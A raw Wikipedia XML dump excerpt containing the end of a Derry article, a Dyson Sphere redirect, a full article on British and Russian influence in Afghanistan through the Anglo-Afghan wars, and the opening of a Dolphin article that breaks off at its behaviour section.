* [http://maps.google.com/maps?ll=55.161667,-7.253036&amp;spn=0.465099,0.617088&amp;t=k&amp;hl=en Google satellite view of Derry, the Foyle and the Swilly]
* [http://www.derrycity.gov.uk/ Derry City Council]
* [http://www.derryvisitor.com/derry/index.asp Derry Visitor Information]
* [http://www.cityofderryairport.com/ City of Derry Airport]
* [http://www.derrycityfc.net/ Derry City FC]
* [http://derry.gaa.ie/ Derry G.A.A.]
* [http://www.cityofderryrfc.fsnet.co.uk/ City of Derry Rugby]
* [http://www.derrycity.gov.uk/londonderry-port.htm Londonderry Port]
* [http://www.loughswillyyc.com/ Lough Swilly Yacht Club]
* [http://www.apprenticeboys.co.uk/home.html Apprentice Boys of Derry.]
* [http://www.derryforums.com/ Derry Forums]
* [http://www.derryunderbelly.com/ Derry Community Forum]
* [http://www.bbc.co.uk/northernireland/radiofoyle/ BBC Radio Foyle] (Local Radio Station)
* [http://www.businessinformationpoint.com/docs/SE%20Profile%20VOSS.pdf A Socio-Economic Profile of the Derry City Council Area] (pdf)


{{IrishCities}}

[[Category:Cities in Ireland]]
[[Category:Cities in Northern Ireland|Derry/Londonderry]]
[[Category:Derry]]
[[Category:Ports and harbours of Northern Ireland]]
&lt;!-- The below are interlanguage links. --&gt;

[[de:Derry]]
[[fr:Londonderry]]
[[ga:Doire]]
[[it:Derry]]
[[he:דרי (צפון אירלנד)]]
[[kw:Ker Dherow]]
[[nl:Derry]]
[[no:Londonderry]]
[[nn:Derry]]
[[pl:Londonderry]]
[[ru:Дерри]]
[[simple:Londonderry]]
[[fi:Londonderry]]
[[sv:Derry]]</text>
    </revision>
  </page>
  <page>
    <title>Dyson Sphere</title>
    <id>9057</id>
    <revision>
      <id>15906980</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Dyson_sphere]]
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  </page>
  <page>
    <title>European influence in Afghanistan</title>
    <id>9058</id>
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      <id>38723253</id>
      <timestamp>2006-02-08T04:51:55Z</timestamp>
      <contributor>
        <username>Markkawika</username>
        <id>204710</id>
      </contributor>
      <minor />
      <comment>en dashes</comment>
      <text xml:space="preserve">{{History of Afghanistan}}

==The Rise of Dost Mohammad==

It was not until [[1826]] that the energetic [[Dost Mahommed Khan|Dost Mohammad]] was able to exert sufficient control over his brothers to take over the throne in [[Kabul]], where he proclaimed himself amir.

Dost Mohammad achieved prominence among his brothers through clever use of the support of his mother's [[Qizilbash]] tribesmen and his own youthful apprenticeship under his brother, [[Fateh Khan]]. Among the many problems he faced was repelling [[Sikh]] encroachment on the [[Pashtun]] areas east of the [[Khyber Pass]]. After working assiduously to establish control and stability in his domains around Kabul, the amir next chose to confront the Sikhs.

In 1834 Dost Mohammad defeated an invasion by the former ruler, [[Shuja Shah]], but his absence from Kabul gave the Sikhs the opportunity to expand westward. [[Ranjit Singh|Ranjit Singh's]] forces occupied [[Peshawar]], moving from there into territory ruled directly by Kabul. In 1836 Dost Mohammad's forces, under the command of his son [[Mohammad Akbar Khan]], defeated the Sikhs at [[Jamrud]], a post fifteen kilometers west of Peshawar. The Afghan leader did not follow up this triumph by retaking Peshawar, however, but instead contacted [[George Eden, 1st Earl of Auckland|Lord Auckland]], the new [[British Empire|British]] governor general in [[India]], for help in dealing with the Sikhs. With this letter, Dost Mohammad formally set the stage for British intervention in [[Afghanistan]]. At the heart of [[the Great Game]] lay the willingness of Britain and Russia to subdue, subvert, or subjugate the small independent states that lay between them.

== The Great Game ==
[[Image:Great Game cartoon from 1878.jpg|thumb|right|200px|Political cartoon depicting the Afghan Amir Sher Ali with his &quot;friends&quot; Britain &amp; Russia (1878)]]
''Main article :[[The Great Game]].''

The [[United Kingdom of Great Britain and Ireland|British]] became the major power in the [[India]]n sub-continent after the [[Treaty of Paris (1763)]]  and had begun to show interest in [[Afghanistan]] as early as their 1809 treaty with [[Shuja Shah]].  It was the threat of the expanding [[Russian Empire]] beginning to push for an advantage in the Afghanistan region that placed pressure on British India, in what became known as the &quot;Great Game&quot;.  The Great Game set in motion the confrontation of the British and Russian empires &amp;mdash; whose [[spheres of influence]] moved steadily closer to one another until they met in Afghanistan. It also involved Britain's repeated attempts to impose a puppet government in Kabul. The remainder of the nineteenth century saw greater European involvement in Afghanistan and her surrounding territories and heightened conflict among the ambitious local rulers as Afghanistan's fate played out globally.

The debacle of the Afghan civil war left a vacuum in the [[Hindu Kush]] area that concerned the British, who were well aware of the many times in history it had been employed as the invasion route to India. In the early decades of the nineteenth century, it became clear to the British that the major threat to their interests in India would not come from the fragmented Afghan empire, the [[Iran|Iranians]], or the [[France|French]], but from the [[Russian Empire|Russians]], who had already begun a steady advance southward from the [[Caucasus]].

At the same time, the Russians feared permanent British occupation in [[Central Asia]] as the British encroached northward, taking the [[Punjab region|Punjab]], [[Sindh]], and [[Kashmir]]. The British viewed Russia's absorption of the Caucasus, the [[Kirghiz]] and [[Turkmen]] lands, the [[Khanate of Khiva]], and the [[Emirate of Bukhara]] with equal suspicion as a threat to their interests in the Indian subcontinent.

In addition to this rivalry between Britain and Russia, there were two specific reasons for British concern over Russia's intentions. First was the Russian influence at the Iranian court, which prompted the Russians to support Iran in its attempt to take [[Herat]], historically the western gateway to Afghanistan and northern India. In 1837 Iran advanced on Herat with the support and advice of Russian officers. The second immediate reason was the presence in Kabul in 1837 of a Russian agent, Captain [[P. Vitkevich]], who was ostensibly there, as was the British agent Alexander Burnes, for commercial discussions.

The British demanded that Dost Mohammad sever all contact with the Iranians and Russians, remove Vitkevich from Kabul, surrender all claims to Peshawar, and respect Peshawar's independence as well as that of Kandahar, which was under the control of his brothers at the time. In return, the British government intimated that it would ask Ranjit Singh to reconcile with the Afghans. When Auckland refused to put the agreement in writing, Dost Mohammad turned his back on the British and began negotiations with Vitkevich.

In 1838 Auckland, Ranjit Singh, and Shuja signed an agreement stating that Shuja would regain control of Kabul and Kandahar with the help of the British and Sikhs; he would accept Sikh rule of the former Afghan provinces already controlled by [[Ranjit Singh]], and that Herat would remain independent. In practice, the plan replaced Dost Mohammad with a British figurehead whose autonomy would be as limited as that of other Indian princes.

It soon became apparent to the British that Sikh participation &amp;mdash; advancing toward Kabul through the Khyber Pass while Shuja and the British advanced through Kandahar &amp;mdash; would not be forthcoming. Auckland's plan in the spring of 1838 was for the Sikhs &amp;mdash; with British support &amp;mdash; to place Shuja on the Afghan throne. By summer's end, however, the plan had changed; now the British alone would impose the pliant Shuja.

== The First Anglo-Afghan War ==
''Main article: [[First Anglo-Afghan War]]''

To justify his plan, [[George Eden, 1st Earl of Auckland|Lord Auckland]] issued the [[Simla Manifesto]] in October 1838, setting forth the necessary reasons for [[British Empire|British]] intervention in [[Afghanistan]]. The manifesto stated that in order to ensure the welfare of [[India]], the British must have a trustworthy ally on India's western frontier. The British pretense that their troops were merely supporting [[Shuja Shah|Shah Shuja's]] small army in retaking what was once his throne fooled no one. Although the Simla Manifesto stated that British troops would be withdrawn as soon as Shuja was installed in Kabul, Shuja's rule depended entirely on British arms to suppress rebellion and on British funds to buy the support of tribal chiefs. The British denied that they were invading Afghanistan, instead claiming they were merely supporting its legitimate Shuja government &quot;against foreign interference and factious opposition&quot;.

From the British point of view, the First Anglo-Afghan War (1838&amp;ndash;42) (often called &quot;Auckland's Folly&quot;) was an unmitigated disaster, despite the ease with which Dost Mohammad was deposed and Shuja enthroned. An army of British and Indian troops set out from the Punjab in December 1838 and reached [[Quetta]] by late March 1839. A month later, the British took [[Kandahar]] without a battle. In July, after a two-month delay in Kandahar, the British attacked the fortress of [[Ghazni]], overlooking a plain leading to India, and achieved a decisive victory over Dost Mohammad's troops led by one of his sons. Dost Mohammad fled with his loyal followers across the passes to [[Bamian]], and ultimately to [[Bukhara]]. In August 1839, after almost thirty years, Shuja was again enthroned in Kabul. Some British troops returned to India, but it soon became clear that Shuja's rule could only be maintained with the presence of British forces. After he unsuccessfully attacked the British and their Afghan protégé, Dost Mohammad surrendered to them and was exiled in India in late 1840.

By October 1841, however, disaffected Afghan tribes were flocking to support Dost Mohammad's son, [[Akbar Khan|Mohammad Akbar Khan]], in Bamian. In November 1841 a senior British officer, Sir [[Alexander Burnes|Alexander 'Sekundar' Burnes]], and his aides were killed by a mob in Kabul. The substantial remaining British forces in their cantonment just outside Kabul did nothing immediately. In the following weeks the British commanders [[Major-General William Elphinstone|General William Elphinstone]] and [[William Hay Macnaghten|McNaghten]] tried to negotiate with Mohammad Akbar, but at a meeting McNaghten was killed. On [[January 1]], [[1842]] following some unusual thinking by Elphinstone an agreement was reached that provided for the safe exodus of the British garrison and its dependents from Afghanistan. Five days later, the retreat began, and as they struggled through the snowbound passes, the British were attacked by [[Ghilzai]] warriors. The British column of more than 16,000-strong (consisting of about 4,500 military personnel, both British and Indian, along with as many as 12,000 camp followers) was massacred in the 30 miles of treacherous gorges and passes lying between Kabul and [[Gandomak]]. 

Lady Butler's famous painting of Dr [[William Brydon]], reportedly the sole survivor, gasping his way to the British outpost in [[Jalalabad, Afghanistan|Jalalabad]], helped make Afghanistan's reputation as a graveyard for foreign armies and became one of the great epics of Empire. His British protectors gone, Shuja remained in power only a few months before being assassinated in April 1842.

Contrary to Afghan myth, about three quarters of the 16,000 who died in the passes between Kabul and Gandomak were civilians, mainly unarmed women and children. There were only 700 British soldiers and another 3,800 Indian troops.

The complete destruction of the garrison prompted brutal retaliation by the British against the Afghans and touched off yet another power struggle for dominance of Afghanistan. In the fall of 1842, British forces from Kandahar and Peshawar entered Kabul just long enough to rescue the few British prisoners and burn the Great Bazaar. Although the foreign invasion provided the Afghan tribes with a temporary sense of unity they had previously lacked, the loss of life and property was followed by a bitter resentment of foreign influence.

The Russians advanced steadily southward toward Afghanistan in the three decades after the First Anglo-Afghan War. In 1842 the Russian border was on the other side of the [[Aral Sea]] from Afghanistan, but five years later the tsar's outposts had moved to the lower reaches of the [[Amu Darya]]. By 1865 [[Tashkent]] had been formally annexed, as was [[Samarkand]] three years later. A peace treaty in 1868 with Amir [[Muzaffar al-Din]], the ruler of Bukhara, virtually stripped him of his independence. Russian control now extended as far as the northern bank of the Amu Darya.

== The Second Anglo-Afghan War ==
[[Image:AfghanWarIllustration1878.jpg|thumb|right|350px|Kabul expeditionary force on the march: Quarter Guard of the 3rd Goorkhas. Nov. 30, 1878.]]
After months of chaos in [[Kabul]], [[Mohammad Akbar Khan]] secured local control and in April 1843 his father, Dost Mohammad, returned to the throne in Afghanistan. Mohammad Akbar died in 1845.  During the [[Second Anglo-Sikh War]] (1848&amp;ndash;49), his last effort to take [[Peshawar]] failed.

By 1854 the [[British Empire|British]] wanted to resume relations with Dost Mohammad, whom they had essentially ignored in the intervening twelve years. The 1855 [[Treaty of Peshawar]] reopened diplomatic relations, proclaimed respect for each side's territorial integrity, and pledged both sides as friends of each other's friends and enemies of each other's enemies.

In 1857 an addendum to the 1855 treaty permitted a British military mission to become a presence in [[Kandahar]] (but not to Kabul) during a conflict with the [[Iran|Iranians]], who had attacked [[Herat]] in 1856. In 1863 Dost Mohammad retook Herat with British acquiescence. A few months later, Dost Mohammad died. [[Sher Ali]], his third son, and proclaimed successor, failed to recapture Kabul from his older brother, [[Mohammad Afzal]] (whose troops were led by his son, [[Abdur Rahman Khan|Abdur Rahman]]) until 1868, after which Abdur Rahman retreated across the [[Amu Darya]] and bided his time.

In the years immediately following the First Anglo-Afghan War, and especially after the 1857 uprising against the British (known as the [[Sepoy Rebellion]]) in [[India]], [[The Liberal Party (UK)|Liberal Party]] governments in [[London]] took a political view of Afghanistan as a [[buffer state]]. By the time [[Shere Ali|Sher Ali]] had established control in Kabul in 1868, he found the British ready to support his regime with arms and funds, but nothing more. From then on, relations between the Afghan ruler and Britain deteriorated steadily over the next ten years. The Afghan ruler was worried about the southward encroachment of [[Russia]], which by 1873 had taken over the lands of the khan, or ruler, of [[Khiva]]. Sher Ali sent an envoy seeking British advice and support. The previous year, however, the British had signed an agreement with the Russians in which the latter agreed to respect the northern boundaries of Afghanistan and to view the territories of the Afghan amir as outside their sphere of influence. The British, however, refused to give any assurances to the disappointed Sher Ali.

After tension between Russia and Britain in [[Europe]] ended with the June 1878 [[Congress of Berlin]], Russia turned its attention to [[Central Asia]]. That same summer, Russia sent an uninvited diplomatic mission to Kabul. Sher Ali tried, but failed, to keep them out. Russian envoys arrived in Kabul on July 22, 1878 and on August 14, the British demanded that Sher Ali accept a British mission too.

The amir not only refused to receive a British mission but threatened to stop it if it were dispatched. Lord [[Lytton]], the viceroy, called Sher Ali's bluff and ordered a diplomatic mission to set out for Kabul in September [[1878]]. The mission was turned back as it approached the eastern entrance of the [[Khyber Pass]], thus triggering the Second Anglo-Afghan War. A British force of about 40,000 fighting men was distributed into military columns which penetrated Afghanistan at three different points. An alarmed Sher Ali attempted to appeal in person to the tsar for assistance, but unable to do so, he returned to [[Mazar-e Sharif]], where he died the following February.

With British forces occupying much of the country, Sher Ali's son and successor, [[Yakub Khan|Yaqub Khan]], signed the [[Treaty of Gandamak]] in May [[1879]] to prevent a British invasion of the rest of the country. According to this agreement and in return for an annual subsidy and vague assurances of assistance in case of foreign aggression, Yaqub relinquished control of Afghan foreign affairs to the British. British representatives were installed in Kabul and other locations, British control was extended to the Khyber and [[Michni Pass|Michni]] passes, and Afghanistan ceded various frontier areas to Britain. An Afghan uprising opposed to the Treaty of Gandamak was foiled in October ([[Charasia]]) and December ([[Kabul]]) 1879. A noted historian, W. Kerr Fraser-Tytler, suggests that Yaqub abdicated because he did not wish to suffer the same fate that befell [[Shah Shuja]] following the first war.

In a replay of 1841 the British managed to have their Kabul garrison annihilated. By 1881 the British had had enough, and despite a deciding victory at the [[Battle of Kandahar]] in September [[1880]] they left. The British gained some territory and retained a little influence but in a clever stroke they placed [[Abdur Rahman Khan]] on the throne. A man of such supple loyalties that he was acceptable to the British, the Russians and the Afghan people.

See: [[Battles of the Second Anglo-Afghan War]]

== The Iron Amir, [[1880]]&amp;ndash;[[1901]] ==

As far as [[British Empire|British]] interests were concerned, Abdur Rahman answered their prayers: a forceful, intelligent leader capable of welding his divided people into a state; and he was willing to accept limitations to his power imposed by British control of his country's foreign affairs and the British buffer state policy. His twenty-one-year reign was marked by efforts to modernize and establish control of the kingdom, whose boundaries were delineated by the two empires bordering it. Abdur Rahman turned his considerable energies to what evolved into the creation of the modern state of Afghanistan.

He achieved this consolidation of Afghanistan in three ways. He suppressed various rebellions and followed up his victories with harsh punishment, execution, and deportation. He broke the stronghold of [[Pashtun]] tribes by forcibly transplanting them. He transplanted his most powerful Pashtun enemies, the [[Ghilzai]], and other tribes from southern and south-central Afghanistan to areas north of the [[Hindu Kush]] with predominantly non-Pashtun populations. The Hindus of [[Kafiristan]] north of Kabul were forcefully conversed to islam. Finally, he created a system of provincial governorates different from old tribal boundaries. Provincial governors had a great deal of power in local matters, and an army was placed at their disposal to enforce tax collection and suppress dissent. Abdur Rahman kept a close eye on these governors, however, by creating an effective intelligence system. During his reign, tribal organization began to erode as provincial government officials allowed land to change hands outside the traditional clan and tribal limits.

In addition to forging a nation from the splintered regions comprising Afghanistan, Abdur Rahman tried to modernize his kingdom by forging a regular army and the first institutionalized [[bureaucracy]]. Despite his distinctly authoritarian personality, Abdur Rahman called for a [[loya jirga]], an assemblage of royal princes, important notables, and religious leaders. According to his autobiography, Abdur Rahman had three goals: subjugating the tribes, extending government control through a strong, visible army, and reinforcing the power of the ruler and the royal family.

Abdur Rahman also paid attention to technological advancement. He brought foreign physicians, engineers (especially for mining), geologists, and printers to Afghanistan. He imported [[Europe|European]] machinery and encouraged the establishment of small factories to manufacture soap, candles, and leather goods. He sought European technical advice on communications, transport, and irrigation. Local Afgan tribes strongly resisted this modernization. Workmen making roads had to be protected by the army against local wariors. Nonetheless, despite these sweeping internal policies, Abdur Rahman's foreign policy was completely in foreign hands.

The first important frontier dispute was the [[Panjdeh]] crisis of 1885, precipitated by [[Russian Empire|Russian]] encroachment into [[Central Asia]]. Having seized the [[Merv]] (now Mary) Oasis by 1884, Russian forces were directly adjacent to Afghanistan. Claims to the [[Panjdeh Oasis]] were in debate, with the Russians keen to take over all the region's [[Turkoman]] domains. After battling Afghan forces in the spring of 1885, the Russians seized the oasis. Russian and British troops were quickly alerted, but the two powers reached a compromise; Russia was in possession of the oasis, and Britain believed it could keep the Russians from advancing any farther. Without an Afghan say in the matter, the Joint Anglo-Russian Boundary Commission agreed the Russians would relinquish the farthest territory captured in their advance but retain Panjdeh. This agreement on these border sections delineated for Afghanistan a permanent northern frontier at the [[Amu Darya]] but also the loss of much territory, especially around Panjdeh.

The second section of Afghan border demarcated during Abdur Rahman's reign was in the [[Wakhan Corridor]]. The British insisted Abdur Rahman accept sovereignty over this remote region where unruly [[Kirghiz]] held sway, he had no choice but to accept Britain's compromise. In 1895 and 1896 another Joint Anglo-Russian Boundary Commission agreed on the frontier boundary to the far northeast of Afghanistan, which bordered [[China|Chinese]] territory (although the Chinese did not formally accept this as a boundary between the two countries until 1964.)

For Abdur Rahman, delineating the boundary with [[India]] (through the Pashtun area) was far more significant, and it was during his reign that the [[Durand Line]] was drawn. Under pressure, Abdur Rahman agreed in 1893 to accept a mission headed by the British Indian foreign secretary, Sir [[Mortimer Durand]], to define the limits of British and Afghan control in the Pashtun territories. Boundary limits were agreed on by Durand and Abdur Rahman before the end of 1893, but there is some question about the degree to which Abdur Rahman willingly ceded certain regions. There were indications that he regarded the Durand Line as a delimitation of separate areas of political responsibility, not a permanent international frontier, and that he did not explicitly cede control over certain parts (such as [[Kurram]] and [[Chitral]]) that were already in British control under the [[Treaty of Gandamak]].

The Durand Line cut through both tribes and villages and bore little relation to the realities of [[topography]], [[demography]], or even military strategy. The line laid the foundation, not for peace between the border regions, but for heated disagreement between the governments of Afghanistan and British India, and later, Afghanistan and [[Pakistan]] over what came to be known as the issue of [[Pashtunistan]] or 'Land of the Pashtuns'.

The clearest manifestation that Abdur Rahman's had established control in Afghanistan was the peaceful succession of his eldest son, [[Habibullah Khan]], to the throne on his father's death in October 1901. Although Abdur Rahman had fathered many children, he groomed Habibullah to succeed him, and he made it difficult for his other sons to contest the succession by keeping power from them and sequestering them in Kabul under his control.

== Habibullah Khan, [[1901]]&amp;ndash;[[1919]] ==

[[Habibullah Khan]], [[Abdur Rahman Khan]]'s eldest son but child of a slave mother, kept a close watch on the palace intrigues revolving around his father's more distinguished wife (a granddaughter of [[Dost Mohammad]]), who sought the throne for her own son. Although made secure in his position as ruler by virtue of support from the army which was created by his father, Habibullah was not as domineering as Abdur Rahman. Consequently, the influence of religious leaders as well as that of [[Mahmoud Beg Tarzi]], a cousin of the king, increased during his reign. Tarzi, a highly educated, well-traveled poet and journalist, founded an Afghan nationalist newspaper with Abdur Rahman's agreement, and until 1919 he used the newspaper as a platform for rebutting clerical criticism of Western-influenced changes in government and society, for espousing full Afghan independence, and for other reforms. Tarzi's passionate Afghan [[nationalism]] influenced a future generation of [[Asia|Asian]] reformers.

The boundary with [[Iran]] was firmly delineated in 1904, replacing the ambiguous line made by a British commission in 1872. Agreement could not be reached, however, on sharing the waters of the [[Helmand River]].

Like all foreign policy developments of this period affecting [[Afghanistan]], the conclusion of the &quot;Great Game&quot; between [[Russia]] and [[United Kingdom|Britain]] occurred without the Afghan ruler's participation. The 1907 Anglo-Russian Convention (Entente, the [[Convention of St. Petersburg]]) not only divided the region into separate areas of Russian and British influence but also established foundations for Afghan neutrality. The convention provided for Russian acquiescence that Afghanistan was now outside this sphere of influence, and for Russia to consult directly with Britain on matters relating to Russian-Afghan relations. Britain, for its part, would not occupy or annex Afghan territory, or interfere in Afghanistan's internal affairs.

During [[World War I]], Afghanistan remained neutral despite pressure to support [[Turkey]] when its sultan proclaimed his nation's participation in what it considered a holy war. Habibullah did, however, entertain a Turco-[[Germany|German]] mission in [[Kabul]] in 1915 conducted by the German legate [[:de:Werner Otto von Hentig|Werner Otto von Hentig]]. After much procrastination, he won an agreement from the [[Central Powers]] for a huge payment and arms provision in exchange for attacking British [[India]]. But the crafty Afghan ruler clearly viewed the war as an opportunity to play one side off against the other, for he also offered the British to resist a Central Powers from an attack on India in exchange for an end to British control of Afghan foreign policy.

== Amanullah Khan, [[1919]]&amp;ndash;[[1929]] ==

On [[February 20]], [[1919]], [[Habibullah Khan]] was assassinated on a hunting trip. He had not declared a succession, but left his third son, [[Amanullah Khan]], in charge in [[Kabul]]. Because Amanullah controlled both the national treasury and the army, he was well situated to seize power. Army support allowed Amanullah to suppress other claims and imprison those relatives who would not swear loyalty to him. Within a few months, the new amir had gained the allegiance of most tribal leaders and established control over the cities.

== Third Anglo-Afghan War and Independence ==

Amanullah's ten years of reign initiated a period of dramatic change in [[Afghanistan]] in both foreign and domestic politics. Amanullah declared full independence and sparked the Third Anglo-Afghan War. Amanullah altered foreign policy in his new relations with external powers and transformed domestic politics with his social, political, and economic reforms. Although his reign ended abruptly, he achieved some notable successes, and his efforts failed as much due to the centripetal forces of tribal Afghanistan and the machinations of [[Russia]] and [[United Kingdom|Britain]] as to any political folly on his part.

Amanullah came to power just as the entente between Russia and Britain broke down following the [[Russian Revolution of 1917]]. Once again Afghanistan provided a stage on which the great powers played out their schemes against one another. Amanullah attacked the British in May 1919 in two thrusts, taking them by surprise. Afghan forces achieved success in the early days of the war as [[Pashtun]] tribesmen on both sides of the border joined forces with them.

The military skirmishes soon ended in a stalemate as the British recovered from their initial surprise. British forces used airpower to shock the Afghans, the King's home was directly attacked in what is the first case of aerial bombardment in Afghanistan’s history. The attacks played a key role in forcing a armistice but brought an angry rebuke from King Amanullah. He wrote: ''&quot;It is a matter of great regret that the throwing of bombs by zeppelins on London was denounced as a most savage act and the bombardment of places of worship and sacred spots was considered a most abominable operation.  While we now see with our own  eyes that such operations were a habit which is prevalent among all civilised people of the west&quot;''

Britain virtually dictated the terms of the 1919 [[Rawalpindi Agreement]], a temporary armistice that provided, somewhat ambiguously, for Afghan self-determination in foreign affairs. Before final negotiations were concluded in 1921, however, Afghanistan had already begun to establish its own foreign policy, including diplomatic relations with the new government in the Soviet Union in 1919. During the 1920s, Afghanistan established diplomatic relations with most major countries.

==See also==
*[[Imperialism in Asia]]

[[Category:History of Afghanistan]]
[[Category:History of Pakistan]]

[[no:Europeisk innflytelse i Afghanistan]]</text>
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    <title>Dementia praecox</title>
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    <title>Dost Mohammed and the British in Afghanistan</title>
    <id>9060</id>
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  <page>
    <title>Dolphin</title>
    <id>9061</id>
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    <revision>
      <id>42007046</id>
      <timestamp>2006-03-03T04:31:35Z</timestamp>
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      <comment>Reverted edits by [[Special:Contributions/128.193.242.189|128.193.242.189]] ([[User talk:128.193.242.189|talk]]) to last version by Deltabeignet</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = Dolphin
| image = Duskydolphin17.jpg
| image_width = 250px
| image_caption = [[Pacific White-sided Dolphin]]s
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Cetacea]]
| subordo = [[Odontoceti]]
| familia = '''Delphinidae'''
| subdivision_ranks = [[Genus|Genera]]
| subdivision = 
See article below.
}}
'''Dolphins''' are aquatic [[mammal]]s related to [[whale]]s and [[porpoise]]s. The name is from [[Ancient Greek]] {{polytonic|&amp;#948;&amp;#949;&amp;#955;&amp;#966;&amp;#8055;&amp;#962;}}  ''delphis'' meaning &quot;with a womb&quot;, viz. &quot;a 'fish' with a womb&quot;. 

The word is used in a few different ways.  It can mean:

#Any member of the family [[Delphinidae]] (oceanic dolphins),
#Any member of the families [[Delphinidae]] and [[Platanistoidea]] (oceanic and river dolphins),
#Any member of the suborder [[Odontoceti]] (toothed whales; these include the above families and some others),
#Used casually as a synonym for [[Bottlenose Dolphin]], the most common and familiar species of dolphin.

In this article, the second definition is used.

[[Porpoise]]s (suborder [[Odontoceti]], family [[Phocoenidae]]) are thus not dolphins in our sense. [[Orca]]s and some related species belong to the Delphinidae family and therefore qualify as dolphins, even though they are called whales in common language.

There are almost 40 species of dolphin in 17 genera. They vary in size from 1.2 m (4 ft) and 40 kg (88 lb) ([[Maui's Dolphin]]), up to 9.5 m (30 ft) and 10 tonnes (the Orca).  Most species weigh about 50 to 200 kg (110 to  440 lb). They are found worldwide, mostly in the shallower seas of the continental shelves, and all are carnivores, mostly eating fish and squid.

The [[Family (biology)|family]] Delphinidae is the largest in the Cetacea, and relatively recent: dolphins evolved about 10 million years ago, during the [[Miocene]].

== Taxonomy ==
* [[Suborder]] [[Odontoceti]], toothed whales
** [[Family (biology)|Family]] [[Delphinidae]], oceanic Dolphins
*** [[Genus]] Delphinus
**** [[Long-Beaked Common Dolphin]], ''Delphinus capensis'' 
**** [[Short-Beaked Common Dolphin]], ''Delphinus delphis'' 
*** Genus Tursiops
**** [[Bottlenose Dolphin]], ''Tursiops truncatus'' 
*** Genus Lissodelphis
**** [[Northern Rightwhale Dolphin]], ''Lissodelphis borealis'' 
**** [[Southern Rightwhale Dolphin]], ''Lissiodelphis peronii'' 
*** Genus Sotalia
**** [[Tucuxi]], ''Sotalia fluviatilis'' 
*** Genus Sousa
**** [[Indo-Pacific Hump-backed Dolphin]], ''Sousa chinensis'' 
***** [[Chinese White Dolphin]] (the Chinese variant), ''Sousa chinensis chinensis''
**** [[Atlantic Humpbacked Dolphin]], ''Sousa teuszii'' 
*** Genus Stenella
**** [[Atlantic Spotted Dolphin]], ''Stenella frontalis'' 
**** [[Clymene Dolphin]], ''Stenella clymene'' 
**** [[Pantropical Spotted Dolphin]], ''Stenella attenuata'' 
**** [[Spinner Dolphin]], ''Stenella longirostris'' 
**** [[Striped Dolphin]], ''Stenella coeruleoalba'' 
*** Genus Steno
**** [[Rough-Toothed Dolphin]], ''Steno bredanensis'' 
*** Genus Cephalorynchus
**** [[Chilean Dolphin]], ''Cephalorhynchus eutropia'' 
**** [[Commerson's Dolphin]], ''Cephalorhynchus commersonii'' 
**** [[Heaviside's Dolphin]], ''Cephalorhynchus heavisidii'' 
**** [[Hector's Dolphin]], ''Cephalorhynchus hectori'' 
*** Genus Grampus
**** [[Risso's Dolphin]], ''Grampus griseus'' 
*** Genus Lagenodelphis
**** [[Fraser's Dolphin]], ''Lagenodelphis hosei'' 
*** Genus Lagenorhyncus
**** [[Atlantic White-Sided Dolphin]], ''Lagenorhynchus acutus'' 
**** [[Dusky Dolphin]], ''Lagenorhynchus obscurus'' 
**** [[Hourglass Dolphin]], ''Lagenorhynchus cruciger'' 
**** [[Pacific White-Sided Dolphin]], ''Lagenorhynchus obliquidens'' 
**** [[Peale's Dolphin]], ''Lagenorhynchus australis'' 
**** [[White-Beaked Dolphin]], ''Lagenorhynchus albirostris'' 
*** Genus Orcaella
**** [[Australian Snubfin Dolphin]], ''Orcaella heinsohni''
**** [[Irrawaddy Dolphin]], ''Orcaella brevirostris'' 
*** Genus Peponocephalia
**** [[Melon-headed Whale]], ''Peponocephalia electra''
*** Genus Orcinus
**** [[Killer Whale]], ''Orcinus orca''
*** Genus Feresa
**** [[Pygmy Killer Whale]], ''Feresa attenuata''
*** Genus Pseudorca
**** [[False Killer Whale]], ''Pseudorca crassidens''
*** Genus Globicephala
**** Long-finned [[Pilot Whale]], ''Globicephala melas''
**** Short-finned [[Pilot Whale]], ''Globicephala macrorhynchus''
** Family [[Platanistoidea]], River Dolphins
*** Genus Inia
**** [[Boto]] (Amazon River Dolphin), ''Inia geoffrensis'' 
*** Genus Lipotes 
**** [[Chinese River Dolphin]] (Baiji), ''Lipotes vexillife '' 
*** Genus Platanista
**** [[Ganges River Dolphin]], ''Platanista gangetica'' 
**** [[Indus River Dolphin]], ''Platanista minor'' 
*** Genus Pontoporia
**** [[La Plata Dolphin]] (Franciscana), ''Pontoporia blainvillei'' 

Six animals in the family Delphinidae are commonly called &quot;whales&quot; but are strictly speaking dolphins. They are sometimes called &quot;blackfish&quot;: 

* [[Melon-headed Whale]], ''Peponocephalia electra''
* [[Killer Whale]], ''Orcinus orca''
* [[Pygmy Killer Whale]], ''Feresa attenuata''
* [[False Killer Whale]], ''Psudoorca crassidens''
* Long-finned [[Pilot Whale]], ''Globicephala melas''
* Short-finned [[Pilot Whale]], ''Globicephala macrorhynchus''

==Hybrid Dolphins==
In [[1933]], three strange dolphins were beached off the [[Ireland|Irish]] coast; these appeared to be hybrids between Risso's Dolphin and the Bottlenose Dolphin. This mating has since been repeated in captivity and a hybrid calf was born. In captivity, a Bottlenose Dolphin and a Rough-Toothed Dolphin produced hybrid offspring. In the wild, Spinner Dolphins have sometimes hybridised with Spotted Dolphins and Bottlenose Dolphins. In the wild, bands of males of one dolphin species have been observed to mate with lone female Spinners. Blue Whales, Fin Whales and Humpback Whales all hybridize in the wild. Dall's Porpoises and Harbour Porpoises have hybridized in the wild. There has also been a reported hybrid between a beluga and a narwhal.  See also [[wolphin]].

== Evolution and anatomy of dolphins ==
Dolphins, along with whales and porpoises, are descendants of land-living mammals, most likely of the [[Artiodactyl]] [[order (biology)|order]].  Modern dolphin skeletons have two small rod shaped pelvic bones thought to be left-over hind legs. They entered the water roughly 50 million years ago. See [[evolution of cetaceans]] for the details.

Dolphins have a fusiform body, adapted for fast swimming. The head contains the [[melon (whale)|melon]], a round organ used for [[animal echolocation|echolocation]]. In many species, the jaws are elongated, forming a distinct beak; for some species like the Bottlenose, there is a curved mouth that looks like a fixed smile. Teeth can be very numerous (up to 250) in several species. The [[dolphin brain]] is large and has a highly structured cortex, which often is referred to in discussions about their high intelligence.

Their teeth are arranged in a way that works as an array or antenna focusing the incoming sound, making it easier for them to pinpoint the exact location of an object.

The basic coloration patterns are shades of gray with a light underside and a distinct dark cape on the back. It is often combined with lines and patches of different hue and contrast. See individual species articles for details.

==Dolphin behavior==
